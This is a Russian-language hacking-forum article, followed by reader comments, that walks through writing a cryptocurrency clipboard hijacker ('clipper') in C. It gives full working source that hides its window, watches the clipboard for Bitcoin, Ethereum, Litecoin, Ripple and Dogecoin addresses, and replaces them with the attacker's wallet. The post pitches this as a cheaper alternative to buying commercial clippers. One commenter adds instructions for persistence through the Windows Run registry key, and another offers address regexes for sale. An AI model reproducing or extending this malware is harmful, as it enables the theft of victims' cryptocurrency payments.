Загрузка...
Авторская статья Клиппер за 30 минут или почему не стоит покупать клипперы
  1. jgsjagejwgjwf
    jgsjagejwgjwf Автор темы 30 ноя 2021
    Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
    На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
    По словам ТС, клиппер написан на C++ с использованием STL.
    [IMG] 

    [IMG] 
    Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
    Для начала:

    Как устроен клиппер

    Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
    По этому описанию накидываем схему работы:
    [IMG] 
    Выглядит достаточно просто. Разбираем каждый блок -
    Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
    Как же проверять, является ли текст адресом?
    Ответ - регулярные выражения (regex). Что это?
    Википедия: 
    Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеровангл. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
    Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
    Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
    Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

    Написание клиппера

    Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
    Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

    Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

    Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
    Код
    #include "re.h"
    #include <windows.h>
    #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
    Пишем функции для получения и подмены буфера обмена:

    Код
    char* getclipboard()
    {
        static HANDLE clip;
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }
        return (char*)clip;
    }

    void setclipboard(char* text)
    {
        HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
        memcpy(global, text, strlen(text));
        if (OpenClipboard(NULL))
        {
            EmptyClipboard();
            SetClipboardData(CF_TEXT, global);
            CloseClipboard();
        }
    }
    Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).

    Код
    typedef struct crypto {
        char* ptn;
        char* address;
    };
    Основная функция main. Создаем в ней переменные с нашими кошельками:

    Код
    const char* btcadr = "";
        const char* segwitadr = "";
        const char* ethadr = "";
        const char* ltcadr = "";
        const char* xrpadr = "";
        const char* dogeadr = "";
    Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
    У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

    Код
        struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$",                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
        struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$",                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
        struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$",                        .address = ethadr };
        struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$",            .address = ltcadr };
        struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$",                            .address = xrpadr };
        struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$",    .address = dogeadr };


        struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
    В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
    Основной цикл:

    Код
        while (1) {
            char* clipdata = getclipboard(); // получение буфера обмена
            if (clipdata != NULL) { // если в буфере что-то есть
                for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                    int matchlen;
                    int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                    if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                        setclipboard(all[i].address);
                    }
                }
            }
            Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
        }
    В комментариях прописал, за что отвечает каждая команда.

    На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
    Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
    Исходники - тык

    Итоги
    Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
    С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
    Спасибо за прочтение.
     

Комментарии

    1. zircly
      zircly 14 дек 2021 5 5 дек 2021
      Как-же хорошо, что лень простых обывателей позволяет кому-то зарабатывать на таком простом продукте как клиппер, который уже давно себя изжил и более не является актуальным. Благодарю за статью, ничего нового лично для себя не узнал, но ещё раз убедился в том, что люди ленивы и даже при наличии аргументов в пользу работы с собственным продуктом — будут покупать оверпрайснутую хрень из-за своей лени.
       
    2. Agent009_inactive4741639
      Спасибо за полезную инфу, узнал много нового
       
    3. ТВИКЕР
      Спасибо
       
    4. Valuev
      Valuev 14 дек 2021 1 12 дек 2021
      за С респект
       
    5. EasyLiker
      EasyLiker 15 дек 2021 everything changes 11 954 18 сен 2020
      Убил все продажи чела одной статьёй..
       
    6. mom12345
      mom12345 16 дек 2021 научу: мыслить через квантовое измерение 31 14 дек 2021
      Полезная статья, как минимум для обновления софта, ибо большинство паблик сорсов уже давно палятся ав, не отрицаю вероятность того,что данные алгоритмы\ исходники уже тоже поддавались реверсу, но база для начинающих кодеров хорошая. БЫЛО бы круто, если почаще такие статьи ****али))
       
    7. DI3FORME
      DI3FORME 18 дек 2021 418 2 авг 2020
      Ещё бы автозагрузку и будет замечательно
       
      1. Replacer
        DI3FORME, дык добавить ее не проблема, просто тяни за собой RegCreateKeyExW, RegSetValueExW и RegCloseKey и добавляй бинарь в ключ Software\\Microsoft\\Windows\\CurrentVersion\\Run
    8. SMSPRO_inactive4792155
      Автор, спасибо за такую полезную инфу, много нового узнал для себя:claps::finger_up:
       
    9. Stmrti
      Stmrti 24 дек 2021 8854 28 сен 2021
      Годно, спасибо
       
    10. Павший
      Павший 24 дек 2021 Статус/Аватарка/Закреп - продаются, подробнее - тг 5200 1 сен 2020
      Я же надеюсь статья написана для образовательной деятельности и защиты от мошенников? Мы же не на каком-то черном форуме сидим :povezlo:
       
    11. Gion_inactive4823387
      Gion_inactive4823387 25 дек 2021 Заблокирован(а) 81 22 дек 2021
      Респект, немного дописать для других валют и в бой
       
    12. adnr3vv
      adnr3vv 25 дек 2021 1 24 дек 2021
    13. Tifo
      Tifo 30 дек 2021 3 5 сен 2021
      :PepeOK:
      --- Сообщение объединено с предыдущим 30 дек 2021
      :PepeOK:
       
    14. Danila2074
      Danila2074 30 дек 2021 5 26 сен 2018
      гений:fallout_cool:
       
    15. none4noone
      none4noone 31 дек 2021 ... 625 20 апр 2020
      Красиво и чётко, а самое главное по делу. Автору.+rep
       
    16. миротворец
      миротворец 3 янв 2022 курди ра 5378 2 ноя 2021
      Лайк однозначно, +rep
       
    17. qewsar1
      qewsar1 4 янв 2022 Заблокирован(а) 0 4 янв 2022
      интересненько
       
    18. alekse_yb
      alekse_yb 9 фев 2022 2 9 фев 2022
      могу написать клиппер за 20 минут
       
      1. 9mice
    19. lonely_femboy
      lonely_femboy 9 фев 2022 сыграй мне реквием 228 21 фев 2020
      Могу продать 20+ регулярок на адреса, писать в телегу t.me/temnij52
       
      1. wDude
        lonely_femboy, ахуенный бизнесгейт, продавать регулярки :jerry:
      2. backdoortp
      3. HideCode
        lonely_femboy, ахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахахаахахахахахахахаха
    20. whoiswho219
      whoiswho219 11 фев 2022 Заблокирован(а) 0 10 янв 2022
Загрузка...
Top